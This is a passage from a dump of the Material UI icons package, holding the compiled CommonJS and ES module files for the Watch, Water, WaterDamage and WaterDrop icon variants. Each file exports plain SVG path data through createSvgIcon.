    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14.72 4.48 14.31 2H9.7l-.41 2.47C10.13 4.17 11.05 4 12 4c.96 0 1.87.17 2.72.48M9.29 19.53 9.7 22h4.61l.41-2.48c-.85.31-1.76.48-2.72.48-.95 0-1.87-.17-2.71-.47\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M16.96 5.73 16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12s-1.19-4.81-3.04-6.27M9.7 2h4.61l.41 2.48C13.87 4.17 12.96 4 12 4c-.95 0-1.87.17-2.71.47zm4.61 20H9.7l-.41-2.47c.84.3 1.76.47 2.71.47.96 0 1.87-.17 2.72-.48zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'WatchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WatchTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14.72 4.48 14.31 2H9.7l-.41 2.47C10.13 4.17 11.05 4 12 4c.96 0 1.87.17 2.72.48M9.29 19.53 9.7 22h4.61l.41-2.48c-.85.31-1.76.48-2.72.48-.95 0-1.87-.17-2.71-.47\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M16.96 5.73 16 0H8l-.95 5.73C5.19 7.19 4 9.45 4 12s1.19 4.81 3.05 6.27L8 24h8l.96-5.73C18.81 16.81 20 14.54 20 12s-1.19-4.81-3.04-6.27M9.7 2h4.61l.41 2.48C13.87 4.17 12.96 4 12 4c-.95 0-1.87.17-2.71.47zm4.61 20H9.7l-.41-2.47c.84.3 1.76.47 2.71.47.96 0 1.87-.17 2.72-.48zM12 18c-3.31 0-6-2.69-6-6s2.69-6 6-6 6 2.69 6 6-2.69 6-6 6\"\n}, \"1\")], 'WatchTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Water.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'Water');"
  },
  {
    "path": "packages/mui-icons-material/lib/Water.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'Water');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamage.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zm0 13c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2\"\n}), 'WaterDamage');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamage.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zm0 13c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2\"\n}), 'WaterDamage');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zM7 18v-7.81l5-4.5 5 4.5V18zm7-4c0 1.1-.9 2-2 2s-2-.9-2-2 2-4 2-4 2 2.9 2 4\"\n}), 'WaterDamageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zM7 18v-7.81l5-4.5 5 4.5V18zm7-4c0 1.1-.9 2-2 2s-2-.9-2-2 2-4 2-4 2 2.9 2 4\"\n}), 'WaterDamageOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m11.33 3.6-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0M12 16c-1.1 0-2-.9-2-2 0-.78.99-2.44 1.58-3.36.2-.31.64-.31.84 0 .59.92 1.58 2.58 1.58 3.36 0 1.1-.9 2-2 2\"\n}), 'WaterDamageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"m11.33 3.6-8.36 7.53c-.34.3-.13.87.33.87H5v7c0 .55.45 1 1 1h12c.55 0 1-.45 1-1v-7h1.7c.46 0 .68-.57.33-.87L12.67 3.6c-.38-.34-.96-.34-1.34 0M12 16c-1.1 0-2-.9-2-2 0-.78.99-2.44 1.58-3.36.2-.31.64-.31.84 0 .59.92 1.58 2.58 1.58 3.36 0 1.1-.9 2-2 2\"\n}), 'WaterDamageRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zm0 13c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2\"\n}), 'WaterDamageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zm0 13c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2\"\n}), 'WaterDamageSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"m12 5.69-5 4.5V18h10v-7.81zM12 16c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zM7 18v-7.81l5-4.5 5 4.5V18zm7-4c0 1.1-.9 2-2 2s-2-.9-2-2 2-4 2-4 2 2.9 2 4\"\n}, \"1\")], 'WaterDamageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDamageTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"m12 5.69-5 4.5V18h10v-7.81zM12 16c-1.1 0-2-.9-2-2s2-4 2-4 2 2.9 2 4-.9 2-2 2\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 3 2 12h3v8h14v-8h3zM7 18v-7.81l5-4.5 5 4.5V18zm7-4c0 1.1-.9 2-2 2s-2-.9-2-2 2-4 2-4 2 2.9 2 4\"\n}, \"1\")], 'WaterDamageTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDrop.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8M7.83 14c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}), 'WaterDrop');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDrop.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8M7.83 14c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}), 'WaterDrop');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8m0 18c-3.35 0-6-2.57-6-6.2 0-2.34 1.95-5.44 6-9.14 4.05 3.7 6 6.79 6 9.14 0 3.63-2.65 6.2-6 6.2m-4.17-6c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}), 'WaterDropOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8m0 18c-3.35 0-6-2.57-6-6.2 0-2.34 1.95-5.44 6-9.14 4.05 3.7 6 6.79 6 9.14 0 3.63-2.65 6.2-6 6.2m-4.17-6c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}), 'WaterDropOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.66 2.58c-.38-.33-.95-.33-1.33 0C6.45 6.88 4 10.62 4 13.8c0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.18-2.45-6.92-7.34-11.22M7.83 14c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}), 'WaterDropRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.66 2.58c-.38-.33-.95-.33-1.33 0C6.45 6.88 4 10.62 4 13.8c0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.18-2.45-6.92-7.34-11.22M7.83 14c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}), 'WaterDropRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8m1 16.91c-.32.06-.65.09-1 .09-2.69 0-4.88-1.94-5-5h1.5c.08 2.07 1.5 3.5 3.5 3.5.35 0 .69-.04 1-.13z\"\n}), 'WaterDropSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8m1 16.91c-.32.06-.65.09-1 .09-2.69 0-4.88-1.94-5-5h1.5c.08 2.07 1.5 3.5 3.5 3.5.35 0 .69-.04 1-.13z\"\n}), 'WaterDropSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 4.67c-4.05 3.7-6 6.79-6 9.14 0 3.63 2.65 6.2 6 6.2s6-2.57 6-6.2c0-2.35-1.95-5.45-6-9.14m.28 14.32c-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87.37 0 .67.26.74.62.41 2.23 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8m0 18c-3.35 0-6-2.57-6-6.2 0-2.34 1.95-5.44 6-9.14 4.05 3.7 6 6.79 6 9.14 0 3.63-2.65 6.2-6 6.2m-4.17-6c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}, \"1\")], 'WaterDropTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterDropTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 4.67c-4.05 3.7-6 6.79-6 9.14 0 3.63 2.65 6.2 6 6.2s6-2.57 6-6.2c0-2.35-1.95-5.45-6-9.14m.28 14.32c-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87.37 0 .67.26.74.62.41 2.23 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 2c-5.33 4.55-8 8.48-8 11.8 0 4.98 3.8 8.2 8 8.2s8-3.22 8-8.2c0-3.32-2.67-7.25-8-11.8m0 18c-3.35 0-6-2.57-6-6.2 0-2.34 1.95-5.44 6-9.14 4.05 3.7 6 6.79 6 9.14 0 3.63-2.65 6.2-6 6.2m-4.17-6c.37 0 .67.26.74.62.41 2.22 2.28 2.98 3.64 2.87.43-.02.79.32.79.75 0 .4-.32.73-.72.75-2.13.13-4.62-1.09-5.19-4.12-.08-.45.28-.87.74-.87\"\n}, \"1\")], 'WaterDropTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'WaterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1v-2c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1v2c1.9 0 2.17-1 3.35-1m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1-2.1 1-3.34 1v2c1.95 0 2.11-1 3.34-1 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1v-2c-1.24 0-1.38-1-3.33-1M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.4.98 3.31 1V8c-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1C3.38 7 3.24 8 2 8v2c1.9 0 2.17-1 3.35-1\"\n}), 'WaterOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.98 14H22zM5.35 13c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .93 0 1.05.45 2.01.79.63.22 1.3-.24 1.3-.91 0-.52-.23-.83-.64-.97-.6-.22-1.15-.9-2.69-.9-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.54 0-2.13.71-2.68.91-.41.13-.65.43-.65.97 0 .67.66 1.13 1.29.91 1.06-.36 1.1-.8 2.06-.8m13.32 2c-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.1 1-3.34 1s-1.38-1-3.33-1c-1.53 0-2.15.71-2.69.91-.41.14-.65.45-.65.98 0 .67.66 1.13 1.3.91 1.02-.36 1.08-.8 2.04-.8 1.24 0 1.38 1 3.33 1s2.1-1 3.34-1c1.19 0 1.42 1 3.33 1 1.94 0 2.09-1 3.33-1 .94 0 1.06.46 2.03.8.63.22 1.3-.24 1.3-.91 0-.53-.24-.83-.65-.98-.53-.19-1.14-.91-2.68-.91M5.35 9c1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 1.19 0 1.42 1 3.33 1 1.95 0 2.09-1 3.33-1 .93 0 1.05.45 2.01.79.63.22 1.3-.24 1.3-.91 0-.52-.23-.83-.64-.97-.6-.23-1.15-.91-2.69-.91-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.95 0-2.09 1-3.33 1-1.19 0-1.42-1-3.33-1-1.54 0-2.13.71-2.68.91-.41.14-.65.44-.65.98 0 .67.66 1.13 1.29.91 1.06-.36 1.1-.8 2.06-.8\"\n}), 'WaterRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/WaterRounded.mjs",
